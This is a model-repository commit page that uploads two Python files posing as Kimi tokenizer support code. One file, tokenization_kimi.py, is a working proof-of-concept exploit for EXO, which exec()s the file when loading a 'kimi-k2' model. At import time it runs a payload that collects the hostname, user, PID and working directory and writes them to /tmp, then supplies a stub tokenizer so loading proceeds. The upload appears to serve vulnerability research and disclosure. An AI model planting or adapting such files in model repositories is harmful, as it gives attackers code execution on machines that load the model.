applexml commited on
Commit
74b4453
·
verified ·
1 Parent(s): 4cc2d93

Upload 2 files

Browse files
Files changed (2) hide show
  1. tokenization_kimi.py +80 -0
  2. tool_declaration_ts.py +25 -0
tokenization_kimi.py ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # tokenization_kimi.py - Safe PoC stub
2
+ # This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2".
3
+ # It demonstrates arbitrary code execution by writing a marker file, then provides
4
+ # the TikTokenTokenizer class that EXO expects.
5
+
6
+ import os
7
+ import sys
8
+ from pathlib import Path
9
+
10
+ # ============================================================================
11
+ # PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file)
12
+ # ============================================================================
13
+ POC_MARKER_FILE = "/tmp/exo_poc_marker.txt"
14
+
15
+ def execute_payload():
16
+ """
17
+ Proof-of-execution: writes a marker file with basic context info.
18
+ Non-destructive — only creates one small file under /tmp.
19
+ """
20
+ try:
21
+ content = (
22
+ "=== EXO RCE PoC - Code Execution Confirmed ===\n"
23
+ f"Hostname: {os.uname().nodename}\n"
24
+ f"User: {os.getenv('USER', 'unknown')}\n"
25
+ f"PID: {os.getpid()}\n"
26
+ f"Python: {sys.executable}\n"
27
+ f"CWD: {os.getcwd()}\n"
28
+ )
29
+ Path(POC_MARKER_FILE).write_text(content)
30
+ print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}")
31
+ except Exception as exc:
32
+ print(f"[PoC] Could not write marker file: {exc}")
33
+
34
+ execute_payload()
35
+
36
+ # ============================================================================
37
+ # STUB TOKENIZER CLASS — required by EXO's load_tokenizer_for_model_id()
38
+ # EXO calls:
39
+ # hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path)
40
+ # hf_tokenizer.encode = _patched_encode (uses hf_tokenizer.model.encode)
41
+ # So we need a .model attribute that has an .encode() method.
42
+ # ============================================================================
43
+
44
+ class _InnerModel:
45
+ """Minimal inner model that satisfies EXO's patched encode path."""
46
+ def encode(self, text: str, allowed_special=None) -> list:
47
+ return [ord(c) % 128 for c in (text or "")]
48
+
49
+ def decode(self, tokens, errors="replace") -> str:
50
+ return "".join(chr(t % 128) for t in tokens)
51
+
52
+
53
+ class TikTokenTokenizer:
54
+ """
55
+ Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations.
56
+ The PoC payload has already executed by the time this class is instantiated.
57
+ """
58
+
59
+ def __init__(self, *args, **kwargs):
60
+ self.model = _InnerModel()
61
+ self.eos_token_id = 151643 # <|im_end|> in real Kimi vocab
62
+ self.bos_token_id = 151644
63
+ self.pad_token_id = 151643
64
+ self.eos_token = "<|im_end|>"
65
+ self.bos_token = "<|im_start|>"
66
+ print("[PoC] TikTokenTokenizer stub initialised")
67
+
68
+ @classmethod
69
+ def from_pretrained(cls, model_path, **kwargs):
70
+ print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}")
71
+ return cls()
72
+
73
+ def encode(self, text: str, **kwargs) -> list:
74
+ return self.model.encode(text)
75
+
76
+ def decode(self, tokens, **kwargs) -> str:
77
+ return self.model.decode(tokens)
78
+
79
+
80
+ print("[PoC] tokenization_kimi.py loaded successfully")
tool_declaration_ts.py ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # tool_declaration_ts.py - Stub for Kimi tool/function-calling support
2
+ # Loaded by EXO via importlib before tokenization_kimi.py is exec()'d.
3
+ # Must exist to prevent ImportError in tokenization_kimi.py relative-import path.
4
+
5
+ """
6
+ Minimal tool-declaration stub for the Kimi tokenizer PoC.
7
+ The real Kimi model uses this module for tool/function-call schema support.
8
+ """
9
+
10
+ # Stub constants expected by some tokenization_kimi variants
11
+ TOOL_CALL_START = "<|tool_call_begin|>"
12
+ TOOL_CALL_END = "<|tool_call_end|>"
13
+ TOOL_CALL_ARG_BEGIN = "<|tool_call_argument_begin|>"
14
+
15
+
16
+ def build_tool_declaration(name: str, description: str = "", params: dict = None) -> dict:
17
+ """Stub — returns a minimal tool declaration dict."""
18
+ return {
19
+ "name": name,
20
+ "description": description,
21
+ "parameters": params or {},
22
+ }
23
+
24
+
25
+ print("[PoC] tool_declaration_ts.py stub loaded")